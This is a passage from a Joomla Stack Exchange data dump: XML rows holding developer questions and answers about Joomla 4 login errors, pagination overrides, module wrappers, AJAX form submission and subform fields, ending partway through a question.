  <row Id="33111" PostTypeId="1" AcceptedAnswerId="33135" CreationDate="2023-06-13T16:03:50.267" Score="1" ViewCount="259" Body="&lt;p&gt;Today I upgraded My Joomla 4.2.9 to 4.3.2. Since then i've not been able to login to the administrator area. When I try to login I see the following error.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JAuthentication: :authenticate: Failed to load plugin:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The username and password is correct.&lt;/p&gt;&#xA;&lt;p&gt;I have access to the web host, files and database.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas how I can fix this or what I should check?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2023-06-22T13:05:57.467" Title="Joomla 4 Login - JAuthentication: :authenticate: Failed to load plugin:" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33112" PostTypeId="2" ParentId="33111" CreationDate="2023-06-13T23:57:09.977" Score="1" Body="&lt;p&gt;Update your configuration.php file to show a more details regarding the error and that should give you some indication of the Plugin that is failing to load.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'maximum';&#xA;...&#xA;public $debug = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From there you can then browse through the #__extensions table of your Joomla instance and find the Plugins with &lt;code&gt;Authentication&lt;/code&gt; in the &lt;code&gt;folder&lt;/code&gt; field and based on your findings from the messages change the &lt;code&gt;enable&lt;/code&gt; field to zero for the offending Plugin.&lt;/p&gt;&#xA;&lt;p&gt;If the messages don't provide a clear candidate then disable any 3rd party plugins with &lt;code&gt;Authentication&lt;/code&gt; in the &lt;code&gt;folder&lt;/code&gt; field. The &lt;code&gt;_joomla&lt;/code&gt; and &lt;code&gt;_cookie&lt;/code&gt; are the only two you probably need to have enabled.&lt;/p&gt;&#xA;&lt;p&gt;All this will get you able to login, as to how to fix the cause that will come when you find out which plugin is/was failing.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-13T23:57:09.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33113" PostTypeId="1" AcceptedAnswerId="33120" CreationDate="2023-06-14T12:37:58.557" Score="0" ViewCount="258" Body="&lt;p&gt;Good day.&lt;br/&gt;&#xA;I output the paginator&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav class=&amp;quot;pagination__wrapper&amp;quot; aria-label=&amp;quot;Нумерування сторінок&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;pagination pagination-toolbar text-center&amp;quot;&amp;gt;&#xA;            &amp;lt;ul class=&amp;quot;pagination ms-auto mb-4 me-0&amp;quot;&amp;gt;&#xA;                ..................&#xA;                &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;                    &amp;lt;a aria-label=&amp;quot;Перейти на сторінку 2&amp;quot; href=&amp;quot;#&amp;quot; onclick=&amp;quot;document.adminForm.limitstart.value=20; Joomla.submitform();return false;&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;2&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                ................&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Javascript code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).on('click', 'ul.pagination li a', function (event) {&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Two questions:&lt;br/&gt;&#xA;1.How to add a class to the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;pagination ms-auto mb-4 me-0&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;How to use javascript to check that the administrative part is active?&lt;br/&gt;&#xA;On php this &lt;code&gt;if ($app-&amp;gt;isClient('administrator'))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2023-06-17T13:06:58.773" Title="Joomla 4 javascript processing of the paginator" Tags="|joomla-4.x|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33114" PostTypeId="1" AcceptedAnswerId="33115" CreationDate="2023-06-14T12:38:31.937" Score="0" ViewCount="67" Body="&lt;p&gt;I'm working on a Joomla 4 website which is migrated from Joomla 3.11. Everything else is working fine except one page. These page is also rendered and further it loads data from a ajax request from the same server. The ajax request is failing. While troubleshooting the issue I found that jquery is trying to load PHP files directly. This is the jquery code which is loading php file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.get( &amp;quot;components/com_mycomp/lib/common/load.php&amp;quot;, {scope:&amp;quot;get_first_site&amp;quot;}, function(first_site) { .... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I navigate to this url (http://localhost/components/com_mycomp/lib/common/load.php) manually from the browser, it throws and exception: &amp;quot;Failed to start application&amp;quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xx8Gx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xx8Gx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17118" OwnerDisplayName="Ramesh Jangra" LastActivityDate="2023-06-23T23:22:08.630" Title="Joomla component loading throws exception" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33115" PostTypeId="2" ParentId="33114" CreationDate="2023-06-14T22:29:39.230" Score="0" Body="&lt;p&gt;It would appear that you are trying to load Joomla 4 using the code for Joomla 3 which I suspect is happening in the &lt;code&gt;j_load.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;A similar question was answered recently, &lt;a href=&quot;https://joomla.stackexchange.com/questions/33107/getmailer-gives-failed-to-start-application-exception-after-updating-to-joomla&quot;&gt;getMailer gives &amp;quot;Failed to start application&amp;quot; exception after updating to Joomla4, how do I fix it?&lt;/a&gt; that provides code that you could use to replace the Joomla 3 loading code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit: 24/06/2023&lt;/strong&gt;&#xA;Since I originally answered this question I have learnt more and posted a more complete answer in this post here with sample code for calling an instance of Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/33140/how-to-create-an-instance-of-the-joomla-cms-from-the-browser-or-the-command-line/33141?noredirect=1#comment40804_33141&quot;&gt;How to create an instance of the Joomla CMS from the browser or the command line&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-06-23T23:22:08.630" LastActivityDate="2023-06-23T23:22:08.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33116" PostTypeId="2" ParentId="33113" CreationDate="2023-06-15T14:26:42.730" Score="2" Body="&lt;p&gt;The HTML above is output by the joomla layout in layouts/joomla/pagination/links.php.&lt;/p&gt;&#xA;&lt;p&gt;So you can create a template override by going to your template Details and Files, and creating an override on Layouts joomla/pagination. Then you can edit the links.php to add in an extra class into the ul element.&lt;/p&gt;&#xA;&lt;p&gt;If you're not familiar with creating overrides then you can find out about them in &lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Layout Overrides in Joomla&lt;/a&gt; and &lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Improved Override Management&lt;/a&gt;, for example.&lt;/p&gt;&#xA;&lt;p&gt;The layouts you create are specific to the template, so if you want different attributes in the ul class in both the front end and the back end then you need to create 2 template overrides, one for your site template and one for your administrator template. You can obviously put different attributes in each, and then look at the attributes within your javascript to determine whether you're on the administrator or site side. Or using the same code, put this into your back-end and front-end overrides ...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;pagination ms-auto mb-4 me-0 &amp;lt;?php echo Factory::getApplication()-&amp;gt;getName(); ?&amp;gt; &amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which will add 'site' or 'administrator' into the class list.&lt;/p&gt;&#xA;&lt;p&gt;Another way is to pass data down to javascript using the joomla &lt;code&gt;getScriptOptions&lt;/code&gt; function, described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding JavaScript and CSS to the page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$adminOrSite = $app-&amp;gt;getName();&#xA;$app-&amp;gt;getDocument()-&amp;gt;addScriptOptions('myvars', $adminOrSite);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then in javascript:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var admin_or_site = Joomla.getOptions('myvars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-15T14:26:42.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33117" PostTypeId="2" ParentId="33079" CreationDate="2023-06-16T07:58:10.213" Score="0" Body="&lt;p&gt;The dropdown lists drivers supported by Joomla that are available on your PHP installation. Availability is generally determined by enabled PHP extensions. To use MySQL databases you need &lt;code&gt;pdo_mysql&lt;/code&gt; or &lt;code&gt;mysqli&lt;/code&gt; extension and to use PostgreSQL you need &lt;code&gt;pdo_pgsql&lt;/code&gt; or &lt;code&gt;pgsql&lt;/code&gt; extension.&lt;/p&gt;&#xA;&lt;p&gt;Joomla is not aware of any database servers before connecting. You have to specify the server, including the port, you want it to connect to. E.g. to connect to a local server running on 5433 port, use &lt;code&gt;localhost:5433&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-06-16T07:58:10.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33119" PostTypeId="2" ParentId="33110" CreationDate="2023-06-16T21:07:31.737" Score="1" Body="&lt;p&gt;I think that the approach you're proposing should work in theory. You can add your shopping details category forms to the admin menu by adding inside your &lt;code&gt;&amp;lt;submenu&amp;gt;&lt;/code&gt; tag something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;menu link=&amp;quot;option=com_categories&amp;amp;amp;extension=com_shopping.shoppingdetails&amp;quot;&amp;gt;Shopping Details Categories&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, as far as I know this approach isn't used in Joomla components, so it may not have been tested thoroughly. Trying it out I did find &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/40784&quot; rel=&quot;nofollow noreferrer&quot;&gt;this problem&lt;/a&gt;, but you should be able to work round this by adding appropriate category records as part of your install script. But there could well be other problems lurking.&lt;/p&gt;&#xA;&lt;p&gt;If it all doesn't work, then you could try creating another component com_shopping1, and associating one of the categories types with it. The additional component doesn't have to do much - com_categories will just want to boot it and try to call &lt;code&gt;countItems()&lt;/code&gt; to display the split of items by published status in the admin categories form. (There would be more to do if you're component is multilingual).&lt;/p&gt;&#xA;&lt;p&gt;Then in your com_shopping manifest file you would include in the admin submenu element:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;submenu&amp;gt;&#xA;    ...&#xA;    &amp;lt;menu link=&amp;quot;option=com_categories&amp;amp;amp;extension=com_shopping1&amp;quot;&amp;gt;Shopping Details Categories&amp;lt;/menu&amp;gt;&#xA;    ...&#xA;&amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in your form field definition:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;shopping_item_category&amp;quot; &#xA;    extension=&amp;quot;com_shopping1&amp;quot;&#xA;    type=&amp;quot;category&amp;quot;&#xA;    label=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot;&#xA;    description=&amp;quot;COM_SHOPPING_FORM_DESC_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot;&#xA;    hint=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For distributing your com_shopping component you'd then need to bundle it with com_shopping1 into a package - but I think this would work ok.&lt;/p&gt;&#xA;&lt;p&gt;You could try experimenting by setting up your second type of category as a com_content category, and check that it gives you the sort of thing you need.&lt;/p&gt;&#xA;&lt;p&gt;However, I do think your original approach is neater, if you can get it to work.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-16T21:07:31.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33120" PostTypeId="2" ParentId="33113" CreationDate="2023-06-17T13:06:58.773" Score="1" Body="&lt;p&gt;If you want to avoid template overrides and just want to have it like that just for your component, then you could do that by overriding the &lt;code&gt;Pagination::getPaginationLinks&lt;/code&gt; function, and get it to use a layout from your component rather than the Joomla layout.&lt;/p&gt;&#xA;&lt;p&gt;To do this you need to first create your own layout, which mirrors 'joomla.pagination.links'.&lt;/p&gt;&#xA;&lt;p&gt;Then you need to create your own pagination class which extends the Joomla one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace …; // fill in your namespace here&#xA;&#xA;use Joomla\CMS\Pagination\Pagination;&#xA;&#xA;class Mypagination extends Pagination &#xA;{&#xA;&#xA;public function getPaginationLinks($layoutId = 'joomla.pagination.links', $options = [])&#xA;{&#xA;    // Include your own layout below:&#xA;    $layoutId = 'my.pagination.links';&#xA;&#xA;    $list = [&#xA;        'prefix'       =&amp;gt; $this-&amp;gt;prefix,&#xA;        'limit'        =&amp;gt; $this-&amp;gt;limit,&#xA;        'limitstart'   =&amp;gt; $this-&amp;gt;limitstart,&#xA;        'total'        =&amp;gt; $this-&amp;gt;total,&#xA;        'limitfield'   =&amp;gt; $this-&amp;gt;getLimitBox(),&#xA;        'pagescounter' =&amp;gt; $this-&amp;gt;getPagesCounter(),&#xA;        'pages'        =&amp;gt; $this-&amp;gt;getPaginationPages(),&#xA;        'pagesTotal'   =&amp;gt; $this-&amp;gt;pagesTotal,&#xA;    ];&#xA;&#xA;    return LayoutHelper::render($layoutId, ['list' =&amp;gt; $list, 'options' =&amp;gt; $options]);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then provide a function &lt;code&gt;getPagination&lt;/code&gt; in your model; this will override the Joomla ListModel &lt;code&gt;getPagination&lt;/code&gt; function. This function should then instantiate your pagination class.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use &amp;lt;your namespace prefix&amp;gt;\Mypagination; &#xA;&#xA;public function getPagination()&#xA;{&#xA;    // Get a storage key.&#xA;    $store = $this-&amp;gt;getStoreId('getPagination');&#xA;&#xA;    // Try to load the data from internal storage.&#xA;    if (isset($this-&amp;gt;cache[$store])) {&#xA;        return $this-&amp;gt;cache[$store];&#xA;    }&#xA;&#xA;    $limit = (int) $this-&amp;gt;getState('list.limit') - (int) $this-&amp;gt;getState('list.links');&#xA;&#xA;    // Create the pagination object and add the object to the internal cache.&#xA;    $this-&amp;gt;cache[$store] = new Mypagination($this-&amp;gt;getTotal(), $this-&amp;gt;getStart(), $limit);&#xA;&#xA;    return $this-&amp;gt;cache[$store];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I haven't tested this out, but I think it should work.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-17T13:06:58.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33121" PostTypeId="1" CreationDate="2023-06-17T18:28:11.127" Score="0" ViewCount="59" Body="&lt;p&gt;I am working with Joomla 4 and facing an issue where each module I include gets automatically wrapped in a  tag with a &amp;quot;custom&amp;quot; class, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;mod-custom153&amp;quot; class=&amp;quot;mod-custom custom&amp;quot;&amp;gt;&#xA; Module content&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;top&amp;quot; style=&amp;quot;raw&amp;quot; /&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;My Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am using a module layout called raw.php in my&lt;/p&gt;&#xA;&lt;p&gt;templates\template_name\html\layouts\chromes\raw.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Get the module&#xA;$module = $displayData['module'];&#xA;&#xA;// If the module doesn't have any content, skip (return)&#xA;if ($module-&amp;gt;content === null || $module-&amp;gt;content === '') {&#xA;    return;&#xA;}&#xA;&#xA;// Output the module content without the surrounding &amp;lt;div&amp;gt;&#xA;$pattern = '/&amp;lt;div[^&amp;gt;]*&amp;gt;(.*)&amp;lt;\/div&amp;gt;/s';&#xA;preg_match($pattern, $module-&amp;gt;content, $matches);&#xA;if (!empty($matches)) {&#xA;    echo $matches[1];&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it seems to work.&lt;/p&gt;&#xA;&lt;p&gt;But is there a way to automatically prevent Joomla 4 from wrapping modules in  tags?&lt;/p&gt;&#xA;&lt;p&gt;Any guidance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2023-06-17T21:48:54.990" Title="Joomla 4x: How to Prevent Modules from Being Wrapped in Div Tags?" Tags="|joomla-4.x|module-display|module-style|mod-custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33122" PostTypeId="2" ParentId="33121" CreationDate="2023-06-17T21:48:54.990" Score="1" Body="&lt;p&gt;The wrapping is specified in the mod_custom tmpl file, ie in modules/mod_custom/tmpl/default.php.&lt;/p&gt;&#xA;&lt;p&gt;To remove it just create a site template override for mod_custom, and edit the override default.php file to remove the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; wrapper.&lt;/p&gt;&#xA;&lt;p&gt;(Template overrides are described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Layout Overrides in Joomla&lt;/a&gt; and &lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Improved Override Management&lt;/a&gt;, for example.)&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-17T21:48:54.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33123" PostTypeId="1" AcceptedAnswerId="33127" CreationDate="2023-06-19T09:20:09.870" Score="0" ViewCount="124" Body="&lt;p&gt;How do I get the solution for this &lt;a href=&quot;https://stackoverflow.com/questions/18975896/adding-category-parameters&quot;&gt;https://stackoverflow.com/questions/18975896/adding-category-parameters&lt;/a&gt; to work on Joomla 4?&lt;/p&gt;&#xA;&lt;p&gt;My extension includes various categories, which I've named &amp;quot;[my_component].[category_name]&amp;quot; - can the dot on the extension name be a problem?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-06-20T10:03:47.480" Title="Joomla 4: Adding category parameter(s)" Tags="|joomla-4.x|custom-component|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33124" PostTypeId="1" CreationDate="2023-06-19T11:03:15.720" Score="0" ViewCount="36" Body="&lt;p&gt;I'm submitting a standard Joomla form via AJAX. Only the apply task is submitted via AJAX:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$js = '&#xA;    Joomla.submitbutton = function (task) {&#xA;        if (task != &amp;quot;cancel&amp;quot;) {&#xA;            if (!document.formvalidator.isValid(document.adminForm)) {&#xA;                return false;&#xA;            }&#xA;        }&#xA;        if (task == &amp;quot;mycontroller.apply&amp;quot;) {&#xA;            document.adminForm.task.value = task;&#xA;&#xA;            Joomla.request({&#xA;                url: document.adminForm.action,&#xA;                method: &amp;quot;POST&amp;quot;,&#xA;                data: new FormData(document.adminForm),&#xA;                onSuccess: resp =&amp;gt; {&#xA;                    Joomla.renderMessages({ &amp;quot;success&amp;quot;: [resp] });&#xA;                },&#xA;                onError: xhr =&amp;gt; {&#xA;                   Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr));        &#xA;                }&#xA;            });&#xA;            return false;&#xA;        }&#xA;        else {&#xA;            // submit without ajax&#xA;            Joomla.submitform(task);&#xA;            return true&#xA;        }&#xA;    }';&#xA;&#xA;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;addInlineScript($js, ['name' =&amp;gt; 'inline.mystuff'], ['type' =&amp;gt; 'module']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything works fine. Problem is if the form contains WYSIWYG Editor Element, like TinyMCE.&#xA;In that case, content is not getting updated when submitting.&lt;/p&gt;&#xA;&lt;p&gt;I checked what's happening internally in TinyMCE, but using these functions would not work with other editors. So I came up with this, getting triggered before submitting the form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; Object.values(Joomla.editors.instances).forEach(e =&amp;gt; e.instance.hide())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is the same as toggling all editors off, which updates the vanilla form fields and submits the content correctly. After updating, &lt;code&gt;show()&lt;/code&gt; is used.&lt;/p&gt;&#xA;&lt;p&gt;That works, but is there a better way of doing this?&lt;/p&gt;&#xA;&lt;p&gt;As far I have seen, the Joomla.editors functions does not contain any possible way of updating the fields internally, without turning the editors off.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-06-19T14:48:41.810" LastActivityDate="2023-06-19T14:48:41.810" Title="Submit an form with WYSIWYG Editors via AJAX" Tags="|ajax|form|editor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33125" PostTypeId="1" CreationDate="2023-06-19T11:37:51.090" Score="0" ViewCount="106" Body="&lt;p&gt;I get the value checkboxes:[film_rea], but I can't get the corresponding text [realisation].&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;item-&amp;gt;jcfields as $field) {&#xA; &#xA;    if ('films-pros' === $field-&amp;gt;name &amp;amp;&amp;amp; 'subform' === $field-&amp;gt;type) { &#xA;    echo &amp;quot;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class='fa fa-link fa-1x' aria-hidden='true'&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt; Pro(s) en lien avec ce film : &amp;lt;/b&amp;gt;&amp;quot;; &#xA;    $field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[111]-&amp;gt;rawvalue, true);&#xA;    //echo '&amp;lt;pre&amp;gt;', var_dump($field_value), '&amp;lt;/pre&amp;gt;'; // ok &#xA;    $app = Factory::getApplication();&#xA;    $factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();    &#xA;    $table = $factory-&amp;gt;createTable('Article', 'Table'); &#xA;    $table-&amp;gt;load($article_id);&#xA;    $item_catid = $table-&amp;gt;catid;&#xA;    foreach ($field-&amp;gt;subform_rows as $subform_row) {&#xA;        foreach ($subform_row as $subField) {    &#xA;            if ('film-pro-lie' === $subField-&amp;gt;fieldname) &#xA;        {&#xA;                    $titre_art = $subField-&amp;gt;value;&#xA;            $article_id = $field_value['row0']['field110']; &#xA;            //OK echo '&amp;lt;pre&amp;gt;', var_dump($article_id), '&amp;lt;/pre&amp;gt;';$field_value['row0']['field112']&#xA;            &#xA;            //$film_type_pro = $field_value['row0']['field112'][0];&#xA;            // OKecho '&amp;lt;pre&amp;gt;', var_dump($film_type_pro), '&amp;lt;/pre&amp;gt;';       &#xA;                    echo HTMLHelper::link(&#xA;                    Route::link(&amp;quot;site&amp;quot;, &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id={$article_id}&amp;amp;catid={$item_catid}&amp;quot;),&#xA;                    $titre_art  .&amp;quot; &amp;quot;);&#xA;                    &#xA;&#xA;&#xA;                    foreach ($field-&amp;gt;fieldparams-&amp;gt;get('options') as $option)   {&#xA;            // check if the selected value(s) has the current option&#xA;            // if rawvalue is an array, there is 2 or more options - look inside the rawvalue as an array&#xA;            // if rawvalue is a string, there's only one option - comparitor is as a string&#xA;&#xA;            if ((is_array($field-&amp;gt;rawvalue) &amp;amp;&amp;amp; in_array($option-&amp;gt;value, $field-&amp;gt;rawvalue)) || $field-&amp;gt;rawvalue == $option-&amp;gt;value)   {&#xA;                $selected[] = array(&#xA;                'name'  =&amp;gt; $option-&amp;gt;name,&#xA;                'value' =&amp;gt; $option-&amp;gt;value&#xA;                );&#xA;            }&#xA;                }&#xA;                // update the value with the selected items&#xA;                $item-&amp;gt;jcfieldsnames[ $field-&amp;gt;name ]['value'] = $selected;&#xA;                echo '&amp;lt;pre&amp;gt;', var_dump($item-&amp;gt;jcfieldsnames[ $field-&amp;gt;name ]['value']), '&amp;lt;/pre&amp;gt;';                &#xA;&#xA;&#xA;                    &#xA;            }&#xA; &#xA;        }&#xA;        &#xA;        &#xA;      &#xA;        &#xA;    }&#xA; &#xA;    }&#xA; &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;DEBUG&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(1) {&#xA;  [&amp;quot;row0&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;field110&amp;quot;]=&amp;gt;&#xA;    string(3) &amp;quot;119&amp;quot;&#xA;    [&amp;quot;field112&amp;quot;]=&amp;gt;&#xA;    array(1) {&#xA;      [0]=&amp;gt;&#xA;      string(8) &amp;quot;film_rea&amp;quot;&#xA;    }&#xA;  }&#xA;}&#xA;string(8) &amp;quot;film_rea&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xutjG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xutjG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14630" LastEditorUserId="14630" LastEditDate="2023-06-21T13:32:42.133" LastActivityDate="2023-06-23T23:21:21.117" Title="Retrieving text from a sub-form checkboxes field [joomla 4]" Tags="|joomla-4.x|custom-field|subform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33126" PostTypeId="1" CreationDate="2023-06-19T19:46:00.913" Score="1" ViewCount="35" Body="&lt;p&gt;I get the following error on my remote site (hostgator), but not on my local localhost site.  It only happens for the component I am developing, not for the native banners or contacts components.&lt;/p&gt;&#xA;&lt;p&gt; Form::loadForm could not load file&#xA;--- JROOT/libraries/src/MVC/Model/FormBehaviorTrait.php:94 …&lt;/p&gt;&#xA;&lt;p&gt;My component has 2 tables, stblrecs and leagues.  Included in installation sql of component, I add example records to stblrecs, but none to leagues.&lt;/p&gt;&#xA;&lt;p&gt;On the admin view I can open both views, but when I attempt to add a record to either table (on my hostgator site), I get the above error.&lt;/p&gt;&#xA;&lt;p&gt;I can add and edit records on my localhost site with no errors.&lt;/p&gt;&#xA;&lt;p&gt;Has anybody ever seen something like this?  It’s as if my hostgator site isn’t finding the forms folder, but my localhost has no problem finding it.  Debugging on my localhost reveals no issues and paths are properly built and maintained.&lt;/p&gt;&#xA;&lt;p&gt;My remote system information:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Built On  Linux gator4316.hostgator.com 4.19.150-76.ELK.el7.x86_64&#xA;#1 SMP Wed Oct 7 01:33:43 CDT 2020 x86_64&lt;/li&gt;&#xA;&lt;li&gt;Database Type mysql&lt;/li&gt;&#xA;&lt;li&gt;Database Version  5.7.23-23&lt;/li&gt;&#xA;&lt;li&gt;Database Collation    utf8_unicode_ci&lt;/li&gt;&#xA;&lt;li&gt;Database Connection Collation utf8mb4_general_ci&lt;/li&gt;&#xA;&lt;li&gt;Database Connection&lt;/li&gt;&#xA;&lt;li&gt;Encryption    None&lt;/li&gt;&#xA;&lt;li&gt;Database Server Supports  Connection Encryption   Yes&lt;/li&gt;&#xA;&lt;li&gt;PHP Version   